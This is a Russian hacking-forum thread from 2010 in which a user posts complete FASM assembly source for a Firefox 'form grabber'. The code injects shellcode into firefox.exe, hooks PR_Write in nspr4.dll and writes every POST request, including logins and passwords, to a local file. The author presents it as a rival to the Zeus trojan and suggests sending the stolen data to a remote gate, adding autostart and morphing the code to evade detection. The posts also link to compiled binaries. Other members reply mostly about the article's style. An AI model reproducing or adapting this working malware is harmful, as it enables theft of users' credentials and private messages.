Авторские статьи FormGrabber для FireFox своими руками.

Discussion in 'Статьи' started by krenki, 5 Feb 2010.

  1. krenki

    krenki New Member

    Joined:
    23 Mar 2008
    Messages:
    19
    Likes Received:
    4
    Reputations:
    2
    >>>>>>>> Внимание!!! Текс находящийся ниже описывает неописуемо бородатый баян.<<<<<<<<
    >>>>>>>>>>>>Осторожно. В тексте используется нецензурная лексика на языке Assembler<<<<<<<<<<<<​

    Здравствуйте, дорогие низкоуровневые и высокоинтеллектуальные товарищи. Сегодня расскажу Вам, как извлечь полезную информацию из горячо любимого всеми браузера FireFox, а именно собирать всё, что отправляется POST запросом (логины,пароли,сообщения на форумах и соц.сетях и т.д.) Вывод этого имущества будет производится в файл(у нас будет C:\FireFox.txt)
    Создадим конкуренцию Зевсу вить у нас получится что-то типа хэнд мэйд модуля для Лисы причём без всяких DLL. Выбирал язык для этих целей с особым извращением. В итоге выбор пал на FASM.

    Наша цель:
    перехватить(хукнуть) функцию PR_Write, в которую передаются в качестве параметров GET и POST запросы, а так же много чего интересного. Функция находится в DLL модуле nspr4.dll Это всё было обнаружено путём сложных астрономических вычислений и с помощью утилы API Logger by black ninja.

    Для осуществления цели нам понадобиться знания тем:
    1)Инжект своего кода в исполняемый процесс.
    2)Cплайсинг API.
    3)И программирование в стиле шелл код.(т.е. с дельта смещением)

    Желание читать куда-то быстро испарилось? Не беда. Все темы хорошо описаны на wasm.ru , поэтому не вижу смысла тратить время на копи-паст. Ну чтож приступим....
    Начнём с зад... извините, с конца, как принято. =)
    Code:
      p_ent           PROCESSENTRY32
    
    find_target:
        xor     esi,esi
    
     .shot:
            mov     [p_ent.dwSize],sizeof.PROCESSENTRY32
        invoke  CreateToolhelp32Snapshot,TH32CS_SNAPPROCESS,esi; <<< Делаем снимок процессов.
        inc     eax
        je      .not_found
        dec     eax
        xchg    eax,edi
    
        invoke  Process32First,edi,p_ent ; <<< Берём первый процесс из списка. 
    	
    ; <<<<<<< Начинается перебор пока не найдём процесс под названием firefox.exe.>>>>>>>>>
     .next_prc:          
        xchg    eax,ecx
        jecxz   .not_found ; <<< В списке процессов имя FF не найдено поэтому прыгаем на .not_found
    
        invoke  lstrcmpi,p_ent.szExeFile,target_name ; <<< Сравнивание название процесса и переменная в которой лежит строка "firefox.exe".
        xchg    eax,ecx
        jecxz   .found ; <<< Если нашли прыгаем на метку .found
    
        invoke  Process32Next,edi,p_ent ; <<< Если строки не равны то берётся следующий процесс из списка.
        jmp     .next_prc
    
     .found: ; <<< Вот она Лиса. 
        invoke  CloseHandle,edi ; <<< Закрываем хэндл.
        mov     eax,[p_ent.th32ProcessID]; <<< Сохраняем ID процесса в eax.
        ret
    
     .not_found: ; <<< FF не найдена.
        xor     eax,eax ; <<< Обнуляем результат выполнения.
        ret
    ; <<<<<<< Окончание поиска firefox.exe. >>>>>>>>>
    
    ; <<<<<<< Внедрение кода в процесс firefox.exe. >>>>>>>>>
    inject_code: 
        xor     esi,esi
        invoke  OpenProcess,PROCESS_VM_OPERATION + PROCESS_VM_WRITE + PROCESS_CREATE_THREAD,esi,eax; <<< Берём хэндл процесса FF.  
    
        xchg    eax,ecx
        jecxz   .exit ; <<< Если ошибка то выходим.
    
        xchg    ecx,edi ; <<< Хэндл процесса перемещается в edi.
    
        invoke  VirtualAllocEx,edi,esi,thread_end-remote_thread,MEM_COMMIT,PAGE_READWRITE ; <<< Выделяем страничку памяти в процессе.
        xchg    eax,ecx 
        jecxz   .close_h ; <<< Если неудача то закрываем хэндл.
    
        xchg    ecx,ebp ; <<< Хэндл странички перемещается в ebp.
    
        invoke  WriteProcessMemory,edi,ebp,remote_thread,thread_end-remote_thread,esi; <<< Пишем наш код на выделеную страничку. 
        ;remote_thread - указатель на начало внедряемого кода, remote_thread соответствено конец.
        dec     eax
        test    eax,eax
        jnz     .close_h ; <<< Если неудача то закрываем хэндл.
        inc     eax
    
        invoke  CreateRemoteThread,edi,esi,esi,ebp,ebp,esi,esi; <<< Бацаем удаленный поток в контексте процесса firefox.exe
    
      .close_h:
        invoke  CloseHandle,edi ; <<< Освобождаем хэндл процесса.
    
      .exit:
        ret
    ; <<<<<<< Внедрение кода в процесс firefox.exe окончено. >>>>>>>>>
    
    
    start: ; <<<  Именно здесь начинает выполняться программа.
        call    find_target ; <<< Активизируем поиск процесса FF
        test    eax,eax
        je      .exit ; <<< Не нашли -> Выходим.
    
    
        call    inject_code; <<< Инжектимся в процесс FF.
    
      .exit:
        push    0
        call    [ExitProcess]; <<< The End... No!!! To be continue. 
     
    #1 krenki, 5 Feb 2010
    Last edited: 5 Feb 2010
    4 people like this.
  2. krenki

    krenki New Member

    Joined:
    23 Mar 2008
    Messages:
    19
    Likes Received:
    4
    Reputations:
    2
    Code:
    remote_thread:
    ;<<<<<<<<<<<<< Здесь начинается выполнение удаленного потока в процессе FireFox >>>>>>>>>>>>>>>
    ;<<<<<<<<Найдём дельта смещение>>>>>>>>>>
     call delta
    delta:
            pop ebp;
            sub ebp,delta
    ;<<<<<<<<Дельта смещение теперь находится в ebp>>>>>>>>>>	
    ;"Делта смещение" не страшная штука. Просто его надо добавлять ко всех адресам переменных, если кодиш в стиле шелл кода.
    ;Вообще шелл кодом называют всё, что внедряется и исполняется в чужом процессе.
    ;Так же шел коды используются для выполнения команд при переполнении буфера.
    ;Для таких шелл кодов правила еще строже, например нельзя, чтобы в опкодах были NULL байты, иначе выполнение прекратиться.
    ;опкод - это шестнадцатеричные(Fuck!) цифры соответствующие асамблерным командам.
    ;Их можно увидеть с помощью HEX редактора или Дебагера в исполняемом файле exe. 
            jmp First; <<< Перепрыгиваем через переменные.
    ;<<<<<<<<Секция переменных.>>>>>>>>>>
         KernelBase dd ?
         GPAcall dd ?
         GMHcall dd ?
         HUser32 dd ?
         VirtProt dd  ?
         OldProt db ?
         HMod dd ?
         hFile dd ?
         flbytes dd ?
         CreateFileCall dd ?
         SetFilePointerCall dd ?
         WriteFileCall dd ?
         CloseHandleCall dd ?
        FuncAdr dd ?
        eaxrest dd ?
        esprest dd ?
        ecxrest dd ?
        edxrest dd ?
        ebxrest dd ?
        edirest dd ?
        esirest dd ?
        ebprest dd ?
        dataadr dd ?
        datalen dd ?
    ;<<<<<<<<Секция переменных закончилась.>>>>>>>>>>
    ;Для писателей на более высоких языках покажется удивительным, что через переменные надо перепрыгивать. Да это дейсвительно так) 
    First:
    ;<<<<<<<<<<<<< Ниже описан один из способов получения начала модуля KERNEL32.DLL >>>>>>>>>>>>>>>
    ;Не знаю чьё авторство, и точно знаю, что не моё.
    ;Начало модуля оно же, хэндл, база и адрес модуля.
                    ;Kernel Base  ->
                    xor eax,eax
                    mov eax,[fs:eax+30h]
                    mov eax,[eax+0ch]
                    mov esi,[eax+1ch]
                    lodsd
                    mov eax,[eax+08h]
                    mov [KernelBase+ebp],eax
                    ;Kernel Export   ->
                    mov edi,eax
                    add edi,[eax+3ch]; NTHeader
                    add edi,78h; DataDirectory
                    mov esi,[edi]
                    add eax,esi
                    ;Addres of GetProcAddress in [GPA]
    
                    mov ebx,[eax+IMAGE_EXPORT_DIRECTORY.AddressOfNames]
                    add ebx,[KernelBase+ebp]
                    mov edx,1
                    _find:
                    push ebx
                    mov ecx,14
                    mov eax,[ebx]
                    add eax,[KernelBase+ebp]
                    mov esi,eax
                    lea edi,[GPA+ebp]
                    cld
                    repe cmpsb
                    jz _ok
                    pop ebx
                    add ebx,4
                    inc edx
                    jmp _find
                    _ok:
                    xor eax,eax
                    mov eax,[KernelBase+ebp]
    
                    ;Kernel Export   ->
                    mov edi,eax
                    add edi,[eax+3ch]; NTHeader
                    add edi,78h; DataDirectory
                    mov esi,[edi]
                    add eax,esi
    
    
                    ;---
                    mov ebx,[eax+IMAGE_EXPORT_DIRECTORY.AddressOfNameOrdinals]
                    add ebx,[KernelBase+ebp]
                    shl  edx,1
                    add ebx,edx
                    mov edx,[ebx]
                    movzx ebx,dx
                    ;------------
                    sub ebx,1
                    shl ebx,2
                    mov eax,[eax+IMAGE_EXPORT_DIRECTORY.AddressOfFunctions]
                    add eax,[KernelBase+ebp]
                    add eax,ebx
                    mov ecx,[eax]
                    add ecx,[KernelBase+ebp]
                    mov [GPAcall+ebp],ecx
                    pop ecx
                    ;----------------End Get Address of GetProcAddress--------			
                    lea ecx,[GMH+ebp]
                    lea edx,[KernelBase+ebp]
                    mov edx,[edx]
                    push ecx
                    push edx
                    call [GPAcall+ebp]
                    mov [GMHcall+ebp],eax
                    ;-------------End Get Address of GetModuleHanle--------
    ;<<<<<<<<<< Отсюда начинаются собственные разработки >>>>>>>>>>>>>>>>>	
    ;<<<<<<<<<< Получаем адреса WinAPI функций используемых в коде>>>>>>>>>>>>>>>>>	
    ;Получение адресов нужно, потому что мы инжектили код без Таблицы Импорта API функций (IAT).			
                    mov ecx,USER32; <<< В ECX помещается имя модуля, в качестве параметра.
                    call GetModHandle; <<< Вызов самопальной метки, которая возвращает хэндл модуля.
                    mov [HUser32+ebp],eax
                    ;----------------- Handle of User32.dll ----------------
                    mov ecx,VirtualProt;<<< В ECX помещается имя функции, в качестве параметра.
                    mov eax,KernelBase;<<< В EAX помещается хэндл модуля, в которой находится функа, в качестве параметра.
                    call GetAddr; <<< Вызов самопальной метки, которая возвращает адрес API функции.
                    mov [VirtProt+ebp],eax
                    ;----------------- VirtualProtect -----------------
                    mov ecx,CreateFileStr
                    mov eax,KernelBase
                    call GetAddr
                    mov [CreateFileCall+ebp],eax
                    ;----------------  CreatFileA ---------------------
                    mov ecx,SetFilePointerStr
                    mov eax,KernelBase
                    call GetAddr
                    mov [SetFilePointerCall+ebp],eax
                    ;----------------- SetFilePointer ------------------
                    mov ecx,WriteFileStr
                    mov eax,KernelBase
                    call GetAddr
                    mov [WriteFileCall+ebp],eax
                    ;------------------ WriteFile -------------------
                    mov ecx,CloseHandleStr
                    mov eax,KernelBase
                    call GetAddr
                    mov [CloseHandleCall+ebp],eax
                    ;---------------------- CloseHandle ----------------------
    ;<<<<<<<<<< Получили все WinAPI функции>>>>>>>>>>>>>>>>>	
    ;<<<<<<<<<< Установка перехвата>>>>>>>>>>>>>>>>>
                    push NPR ; <<< Пихаем в стёк адрес на который будет происходить JMP
                    push PR_WriteStr; <<< Название перехватываемой функции
                    push nspr4; <<< Название модуля перехватываемой функции
                    call HookAPI; <<< Вызов установки перехвата. (Метка ниже)
                    ret ; <<< Удалённый поток заканчивается.
    ;<<<<<<<<<< Установка перехвата закончена>>>>>>>>>>>>>>>>>
    				
    ;<<<<<<<<<< Этот код выполняется при вызове функции PR_Write(...) в контексте FireFox >>>>>>>>>>>>>>>>>
    		NPR:
             ;>>>>>>>>>>>>>>>>Так называемый brige или по нашенски мостик<<<<<<<<<<<<<<<<<<
                    mov eax, dword[ss:esp+4]
                    mov ecx, dword [ds:eax]
             ;>>>>>>>>>>>>>>>>В мостике находятся первые затёртые команды из хукнутой функции<<<<<<<<<<<<<<<<<<
    ; Мостик нужен для того чтобы не переписывать начало функции по сто раз, что вызывает ошибки в многопоточных приложениях.
                   ;>>>>>>>>>>>>>>>> Знакомая дельта)<<<<<<<<<<<<<<<<<<
                    call deltax
                 deltax:
                    pop edx;
                    sub edx,deltax
                   ;>>>>>>>>>>>>>>>>Delta<<<<<<<<<<<<<<<<<<
                   ;>>>>>>>>>>>>>>>>Сохраняем регистры, чтобы никто не заметил следов, что мы побывали у них дома.<<<<<<<<<<<<<<<<<<
                    mov [ebxrest+edx],ebx
                    mov [edirest+edx],edi
                    mov [esirest+edx],esi
                    mov [ecxrest+edx],ecx
                    mov [ebprest+edx],ebp
                    mov [eaxrest+edx],eax
                    ;>>>>>>>>>>>>>>>>Save registers<<<<<<<<<<<<<<<<<<
    ;Не хотелось портить стёк.				
                    ;>>>>>>>>>>>>>>>>Самая ответственная часть, здесь копируем параметры функции<<<<<<<<<<<<<<<<<<
                     mov ebp,edx ; <<< Помещаем дельту в EBP
                     mov  eax,[esp+0x08]; <<< Кладём в EAX адрес начала строки запроса.
                    .if dword [eax]<>'POST'; <<< Начинается ли запрос на POST?
                      jmp NoWork; <<< Если нет, скачем на метку NoWork
                    .endif <<< Если нашли POST то продолжаем выполнять.
                     mov [dataadr+ebp],eax; <<< В dataadr адрес начала строки запроса.
                     mov eax,[esp+0x0C]; <<< В EAX длина запроса
                     mov [datalen+ebp],eax; <<< Теперь в datalen 
                     push [dataadr+ebp]; <<< Кладём в стёк параметр(начала строки запроса)
                     push  [datalen+ebp]; <<< Кладём в стёк параметр(длина запроса)
                     call WriteToFile; <<< Прыгаем на метку WriteToFile
                NoWork:
                     mov edx,ebp; <<< Возвращаем дельту на место (знаю можно xchg)
                    ;>>>>>>>>>>>>>>>>Get params PR_Write<<<<<<<<<<<<<<<<<<
                    ;>>>>>>>>>>>>>>>>Восстанавливаем регистры<<<<<<<<<<<<<<<<<<
                    mov ebx,[ebxrest+edx]
                    mov edi,[edirest+edx]
                    mov esi,[esirest+edx]
                    mov ecx,[ecxrest+edx]
                    mov ebp,[ebprest+edx]
                    mov eax,[eaxrest+edx]
                    ;>>>>>>>>>>>>>>>>Restore registers<<<<<<<<<<<<<<<<<<
    ;Не востанавливаю только edx т.к. всё равно в неё потом что то pop'ится :_)
                    ;>>>>>>>>>>>>>>>>Continue func<<<<<<<<<<<<<<<<<<
                    mov edx,[FuncAdr+edx]; <<< В EDX адрес PR_Write()
                    add edx,$06; <<< Прибавляем к edx смещение от начала в котором находятся JMP XXXXXXXX и INC ECX (6 байт опкода)             
    			    jmp edx ; <<< Джампим на edx
                    ;>>>>>>>>>>>>>>>>Continue func<<<<<<<<<<<<<<<<<<
                    ret
    
    
     
    #2 krenki, 5 Feb 2010
    Last edited: 5 Feb 2010
  3. krenki

    krenki New Member

    Joined:
    23 Mar 2008
    Messages:
    19
    Likes Received:
    4
    Reputations:
    2
    Code:
    ; Список меток на которые ссылается предыдущий код.
             GetModHandle: ; <<< мини Самопальная функа для нахождения хендля модулей. Параметр в регистре ecx - имя DLL
                    lea ecx,[ecx+ebp]
                    push ecx
                    call [GMHcall+ebp]
                    ret
    
              GetAddr: ; <<< Для поиска адреса API функций. ecx-имя функции, eax-хэндл модуля в котором она расположена
                    lea ecx,[ecx+ebp]
                    push ecx
                    lea eax,[eax+ebp]
                    mov eax,[eax]
                    push eax
                    call [GPAcall+ebp]
                    ret
    
              HookAPI: ; <<< Функция установки перехвата(хука) API
                    pop edi ; <<< В edi адрес возврата.
                    pop ecx ; <<< Имя модуля "nspr4.dll"
                    call GetModHandle; <<< Поиск хэндла модуля.
                    mov [HMod+ebp],eax
                    mov eax,HMod; <<< HMod хэндла модуля.
                    pop ecx; <<< Имя функции для перехвата, т.е. "PR_Write"
                    call GetAddr; <<< Получаем адрес функции PR_Write.
                    mov [FuncAdr+ebp],eax; <<< Сохраняем адрес PR_Write в FuncAdr.
                    lea esi,[OldProt+ebp]; <<< Просто переменная для записи
                    invoke VirtProt+ebp,[FuncAdr+ebp],6,PAGE_EXECUTE_READWRITE,esi; <<< Ставим права на запись 6 байт после начала PR_Write. API VirtualProtect.
                    pop edx; <<< Адрес метки на которую будет переходить управление.
                    lea edx,[edx+ebp]; <<< Выравнивание по дельта смещению.(Первый раз понял смысл этих слов :D)
                    sub edx,[FuncAdr+ebp]; <<< O_0 и... и... вычитаем из этого добра адресс PR_Write.
                    sub edx,5; <<< Вобщем формула была взята отсюда http://www.cyberguru.ru/programming/delphi/api-functions-hook-splicing.html
                    xchg eax,edx; <<< Адрес для прыжка на наш код в EAX.
                    mov edx,[FuncAdr+ebp]; <<< В EDX  адресс PR_Write.
                    mov byte [edx],$E9; <<< опкод JMP помещается в память по адресу PR_Write.
                    mov dword [edx+1],eax; <<< по адресу PR_Write со смещением в 1 байт помещается адрес метки NPR.
                    mov byte [edx+5],$41  ; <<< смещение 5 байт, опкод INC ECX для того что бы не склеились команды.
                    invoke VirtProt+ebp,[FuncAdr+ebp],6,[esi],esi; <<< Возвращаем памяти её атрибуты. API VirtualProtect.
                    jmp edi; <<< прыгаем на адрес возврата
               
    
    
              WriteToFile:
                    pop edi; <<< В edi адрес возврата
                    lea edx,[Namef+ebp]; <<< в EDX Путь до файла для записи
                    invoke CreateFileCall+ebp,edx,GENERIC_READ or GENERIC_WRITE,FILE_SHARE_READ,0h,CREATE_NEW or OPEN_EXISTING,FILE_ATTRIBUTE_NORMAL,0h
        ;Создаём или открываем файл.            
    				mov [hFile+ebp],eax
                    invoke SetFilePointerCall+ebp,[hFile+ebp],0,0,FILE_END; <<< Устанавливаем указатель на конец файла
                    lea edx,[flbytes+ebp]; <<< Переменная для вывода результата записи.
                    pop ebx; <<< Размер данных для записи.
                    pop ecx; <<< Адрес данных.
                    invoke WriteFileCall+ebp,[hFile+ebp],ecx,ebx,edx,0h; <<< Запись данных в файл.
                    lea ecx,[EndLine+ebp]
                    lea edx,[flbytes+ebp]
                    invoke WriteFileCall+ebp,[hFile+ebp],ecx,1,edx,0h; <<< Запись файл символа окончания строки.
                    lea edx,[hFile+ebp]
                    invoke CloseHandleCall+ebp,[edx]; <<< Закрываем хэндл файла.
                    jmp edi
    ;<<<<<<<<<< Строковые константы >>>>>>>>>>>>>>>>>
    EndLine db 0x0A,0
    PR_WriteStr db 'PR_Write',0
    nspr4 db 'nspr4.dll',0
    Namef db 'C:\FireFox.txt',0
    CloseHandleStr db 'CloseHandle',0
    WriteFileStr db 'WriteFile',0
    SetFilePointerStr db 'SetFilePointer',0
    CreateFileStr db 'CreateFileA',0
    GPA db 'GetProcAddress',0
    GMH db 'GetModuleHandleA',0
    USER32 db 'user32.dll',0
    VirtualProt db 'VirtualProtect',0
    ;<<<<<<<<<< Строковые константы >>>>>>>>>>>>>>>>>
    
    thread_end:
    
    Фух... Вот наша крошка готова к применению.

    Правда есть несколько минусов.
    1) Проверено только на WinXP SP2 т.е. на моей main ОСи.
    И естественно только на одной версии FireFox, а именно 3.5.7
    2) Пробовал запустить на Варьке, но отказалась. Сразу крэш при выполнении первой инструкции в удалёном потоке. Возможно, после WriteProcessMemory надо изменить атрибуты выделенной страницы на исполнение.
    3)Если в FF грузится одновременно много страниц, то происходит крушение браузера.
    Хотя если убрать "Самую ответственую часть" то всёбудет пучком.)
    4) Палиться проактивкой.
    Будем считать, что это защита от применения во вредоносных программах 8)

    А теперь сладенькое... :)```
    1)Размер скомпилированного exe без упаковки 2.5 Кбайта. А если сжать FSG, то будет 1.5 Кбайта.
    2)Написан на асамблере -> в скорости нет равных.
    3)Можно морфить так что родной автор потом свой сорс не узнает.
    4)Обходит SSL шифрование.
    5)Не имеет побочных эфектов)

    Если проявить фантазию то можно посылать награбленный текст мгновенно на гейт с помощью InternetOpenUrlA. Прикрутить автозапуск, сделать инъект в какой-нибудь user процесс, добавить парсер ииииии... просто необходимую вещь как RSA шифрование.

    И вообще я за open source трояны к такимже open source браузерам. И лучше чтоб троянец писался у них же и распространялся вместе с обновлениями, подтверждая что FF самый безопасный браузер как и самый безопасный секас по телефону.=)

    Сорцы и скомпиленый пример лежат здесь. pass: 4anti4at Компилятор FASM 1.68

    Применение:
    1)Запускаем FireFox.
    2)Запускаем FF_FormGrabber.exe.
    3)Заходим например на https://www.paypal.com/ и логинимся под вымышлеными логином и паролем.
    4)Смотрим результат в C:\FireFox.txt

    Литература: msdn(OMG)com, Рихтер ,Крис Касперски (не путать с Евгением Касперским, а то увидил в коментах его книги "Ты ч0 иди0т эт0ж американский хакер."), цикл статей "Введение в крэкинг с нуля, используя OllyDbg", http://www.it-library.org/articles/?c=7, MS-REM, ну и конечно slesh.

    Принимаются наставления на путь истинный.
     
    #3 krenki, 5 Feb 2010
    Last edited: 5 Feb 2010
  4. _antony

    _antony Elder - Старейшина

    Joined:
    16 Jul 2008
    Messages:
    80
    Likes Received:
    43
    Reputations:
    0
    свалка текста .
     
  5. slesh

    slesh Elder - Старейшина

    Joined:
    5 Mar 2007
    Messages:
    2,702
    Likes Received:
    1,224
    Reputations:
    455
    Замечания:
    1) Как бы для статьи не катит. Т.е. хоть код и описан, но желательно было бы разбить на отдельные составляющие где описать ход работы и как пашет и небольшие кусочки кода которые это делают.

    2) стиль хакер.ru не преветствуется тут. А у тя чуть есть он )
    3) Основной исходник если выкладывашь, то целеком в виде ссылки на скачевания или аттаченного файла. ну или в code но чтобы весть сразу помещался.

    4) На Си можно написать меньше и быстрее по скорости. ты забываешь то, что сишный компилятор умеет оптимизировать код так, так на асме хрен додумаешься до этого.
     
  6. Tigger

    Tigger Elder - Старейшина

    Joined:
    27 Aug 2007
    Messages:
    936
    Likes Received:
    527
    Reputations:
    204
    О, спасибо.
    Как раз читал про Сплайсинг, но там бы код на С++) Но спасибо
    Статью оформи нормально.

    P.S.:
    Приведи пример кода на С++, если не сложно!
     
  7. krenki

    krenki New Member

    Joined:
    23 Mar 2008
    Messages:
    19
    Likes Received:
    4
    Reputations:
    2
    2 _antony
    Посмотрев на твою тему, вижу что текст там вообще не употребляешь. Приведи пример нормального текста пожалуйста.

    2 slesh Спасибо за критику. Хотелось как-то разбавить сухость. Поможешь Tigger? Я в С полный 0.
    Заодно посмотрю как компактно выглядит код.
    И в следующий раз обязательно разабью.
     
  8. Alamar

    Alamar New Member

    Joined:
    7 Mar 2006
    Messages:
    13
    Likes Received:
    0
    Reputations:
    0
    побойся бога, прога в три строки кода, две из которых шелл код.. не нужен ни какой си, фасм самое то.
     
  9. krenki

    krenki New Member

    Joined:
    23 Mar 2008
    Messages:
    19
    Likes Received:
    4
    Reputations:
    2
    Про кучу текста уже понял, с первого поста. Если кто-то захочет высказать эту удивительную мысль ещё раз, то я поверю в колективный разум.) Вообщем не надо флуда. Если есть конкретные предложения по поправке КОДА, то принимаються любые корективы. Или кто осмелиться переписать код на Си буду только рад.
     
  10. Alamar

    Alamar New Member

    Joined:
    7 Mar 2006
    Messages:
    13
    Likes Received:
    0
    Reputations:
    0
    нормальная статья, не надо ни чего менять тем более переписывать на си